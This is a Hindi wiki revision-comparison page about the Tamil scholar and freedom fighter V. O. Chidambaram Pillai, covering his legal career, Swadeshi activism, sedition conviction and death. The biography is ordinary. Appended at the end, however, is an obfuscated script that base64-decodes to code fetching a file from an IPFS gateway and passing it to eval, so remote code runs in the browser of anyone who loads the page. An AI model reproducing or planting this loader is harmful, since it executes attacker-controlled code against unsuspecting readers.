"चिदंबरम पिल्लई" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(5 सदस्यों द्वारा किये गये बीच के 9 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*वी. ओ. चिदंबरम पिल्लई (जन्म- [[5 सितंबर]], [[1872]] ई.- मृत्यु- [[3 नवंबर]], [[1936]] ई.) समाज-सुधारक और [[तमिल भाषा]] के विद्वान थे। प्रसिद्ध तमिल ग्रंथ '''तिरुकुरल''' पर उनका भाष्य बहुत प्रसिद्ध हुआ।
+
{{सूचना बक्सा स्वतन्त्रता सेनानी
*चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को [[तमिलनाडु]] के तिरुनेलवेली ज़िले में हुआ था।  
+
|चित्र=Chidambaram Pillai.jpg
*चिदंबरम पिल्लई [[1895]] में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से [[कांग्रेस]] में सम्मिलित हो गए।  
+
|चित्र का नाम=
*बंग-भंग के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे।  
+
|पूरा नाम=चिदंबरम पिल्लई
*[[1907]] की [[सूरत]] कांग्रेस के बाद जब दल में विभाजन हुआ तो सरकार को [[बाल गंगाधर तिलक|तिलक]] सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया।
+
|अन्य नाम=
*चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगा कर गिरफ्तार किए गए और उन्हें आजीवन कारावास की सजा हो गई। अपील करने पर हाईकोर्ट ने सजा को 6 वर्ष की कर दिया था।  
+
|जन्म=[[5 सितंबर]], [[1872]]  
*जेल से छूटने पर उन्होंने गैर-[[ब्राह्मण|ब्राह्मणों]] के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया।  
+
|जन्म भूमि=[[तिरुनेल्वेली]], [[तमिलनाडु]]
*[[1920]] में जब कांग्रेस की बागडोर [[महात्मा गाँधी|गाँधी जी]] के हाथों में आई तो तिलक के ये अनुयायी उनके विचारों से सहमत न होकर कांग्रेस से अलग हो गए।  
+
|मृत्यु=[[3 नवंबर]], [[1936]]  
*3 नवंबर 1936 में चिदंबरम पिल्लई का निधन हो गया।  
+
|मृत्यु स्थान=
 +
|मृत्यु कारण=
 +
|अभिभावक=
 +
|पति/पत्नी=
 +
|संतान=
 +
|स्मारक=
 +
|क़ब्र=
 +
|नागरिकता=भारतीय
 +
|प्रसिद्धि=तमिल विद्वान् और समाज-सुधारक
 +
|धर्म=
 +
|आंदोलन=
 +
|जेल यात्रा=
 +
|कार्य काल=
 +
|विद्यालय=
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=
 +
|विशेष योगदान='[[बंग भंग|बंग-भंग]]' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई। 
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''चिदंबरम पिल्लई''' ([[अंग्रेज़ी]]: ''Chidambaram Pillai'', जन्म: [[5 सितंबर]], [[1872]]; मृत्यु: [[3 नवंबर]], [[1936]]) [[तमिल भाषा]] के विद्वान् और प्रख्यात समाज-सुधारक थे। प्रसिद्ध तमिल [[ग्रन्थ]] 'तिरुकुरल' पर उनका भाष्य बहुत प्रसिद्ध हुआ था। '[[बंग भंग|बंग-भंग]]' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई। ब्रिटिश सरकार ने चिदंबरम पिल्लई को देशद्रोही ठहराकर उन्हें आजीवन क़ैद की सज़ा सुनाई थी।
 +
====जन्म एवं शिक्षा====
 +
चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को [[तमिलनाडु]] के '[[तिरुनेल्वेली]]' में हुआ था। वे [[1895]] ई. में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से [[कांग्रेस]] में सम्मिलित हो गए। बंग-भंग के विरुद्ध आंदोलन में उन्होंने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे।
 +
[[चित्र:Chidambaram Pillai-stamp.jpg|thumb|left|सम्मान में जारी [[डाक टिकट]]]]
 +
====जेल यात्रा====
 +
[[1907]] ई. की [[सूरत]] की [[कांग्रेस]] के बाद जब दल में विभाजन हुआ तो, सरकार को तिलक सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया। चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगाकर गिरफ़्तार किए गए और उन्हें आजीवन कारावास की सज़ा हो गई। अपील करने पर हाईकोर्ट ने सज़ा को 6 वर्ष कर दिया था। जेल से छूटने पर उन्होंने ग़ैर [[ब्राह्मण|ब्राह्मणों]] के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया। [[1920]] ई. में जब [[कांग्रेस]] की बागडोर [[गाँधी जी]] के हाथों में आई तो, [[लोकमान्य तिलक]] के ये अनुयायी उनके विचारों से सहमत न होकर कांग्रेस से अलग हो गए।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=280|url=}}</ref>
 +
====निधन====
 +
चिदंबरम समाज-सुधारक और [[तमिल भाषा]] के विद्वान् थे। प्रसिद्ध तमिल [[ग्रंथ]] ‘तिरुकुरल’ पर उनका भाष्य बहुत प्रसिद्ध हुआ था। [[3 नवंबर]], [[1936]] में चिदंबरम पिल्लई का निधन हो गया।
  
{{प्रचार}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध=}}
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
{{cite book | last =लीलाधर | first =शर्मा  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय  | language =[[हिन्दी]]  | pages =280  | chapter = }}
 
 
<references/>
 
<references/>
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{स्वतन्त्रता सेनानी}}
 
{{स्वतन्त्रता सेनानी}}
[[Category:नया पन्ना]]
+
[[Category:स्वतन्त्रता सेनानी]][[Category:समाज सुधारक]][[Category:जीवनी साहित्य]][[Category:इतिहास कोश]][[Category:चरित कोश]]
[[Category:स्वतन्त्रता सेनानी]]
 
[[Category:इतिहास कोश]]
 
 
__INDEX__
 
__INDEX__

05:37, 5 सितम्बर 2018 के समय का अवतरण

चिदंबरम पिल्लई
Chidambaram Pillai.jpg
पूरा नाम चिदंबरम पिल्लई
जन्म 5 सितंबर, 1872
जन्म भूमि तिरुनेल्वेली, तमिलनाडु
मृत्यु 3 नवंबर, 1936
नागरिकता भारतीय
प्रसिद्धि तमिल विद्वान् और समाज-सुधारक
विशेष योगदान 'बंग-भंग' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई।

चिदंबरम पिल्लई (अंग्रेज़ी: Chidambaram Pillai, जन्म: 5 सितंबर, 1872; मृत्यु: 3 नवंबर, 1936) तमिल भाषा के विद्वान् और प्रख्यात समाज-सुधारक थे। प्रसिद्ध तमिल ग्रन्थ 'तिरुकुरल' पर उनका भाष्य बहुत प्रसिद्ध हुआ था। 'बंग-भंग' के विरुद्ध आंदोलन में चिदंबरम पिल्लई ने स्वदेशी का प्रचार-प्रसार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करने में महत्त्वपूर्ण भूमिका निभाई। ब्रिटिश सरकार ने चिदंबरम पिल्लई को देशद्रोही ठहराकर उन्हें आजीवन क़ैद की सज़ा सुनाई थी।

जन्म एवं शिक्षा

चिदंबरम पिल्लई का जन्म 5 सितंबर, 1872 ई. को तमिलनाडु के 'तिरुनेल्वेली' में हुआ था। वे 1895 ई. में क़ानून के स्नातक बने और तूतीकोरन में वकालत करने लगे। फिर वे विजयराघवाचारी के प्रभाव से कांग्रेस में सम्मिलित हो गए। बंग-भंग के विरुद्ध आंदोलन में उन्होंने स्वदेशी का प्रचार किया और लोगों को विदेशी सरकार के विरुद्ध प्रेरित करते रहे।

सम्मान में जारी डाक टिकट

जेल यात्रा

1907 ई. की सूरत की कांग्रेस के बाद जब दल में विभाजन हुआ तो, सरकार को तिलक सहित अनेक नेताओं और कार्यकर्त्ताओं के विरुद्ध कार्रवाई का अवसर मिल गया। चिदंबरम पिल्लई भी राजद्रोह का अभियोग लगाकर गिरफ़्तार किए गए और उन्हें आजीवन कारावास की सज़ा हो गई। अपील करने पर हाईकोर्ट ने सज़ा को 6 वर्ष कर दिया था। जेल से छूटने पर उन्होंने ग़ैर ब्राह्मणों के संगठन ‘मद्रास प्रेसिडेंसी एसोसिएशन’ को आगे बढ़ाने में सक्रिय भाग लिया। 1920 ई. में जब कांग्रेस की बागडोर गाँधी जी के हाथों में आई तो, लोकमान्य तिलक के ये अनुयायी उनके विचारों से सहमत न होकर कांग्रेस से अलग हो गए।[1]

निधन

चिदंबरम समाज-सुधारक और तमिल भाषा के विद्वान् थे। प्रसिद्ध तमिल ग्रंथ ‘तिरुकुरल’ पर उनका भाष्य बहुत प्रसिद्ध हुआ था। 3 नवंबर, 1936 में चिदंबरम पिल्लई का निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 280 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>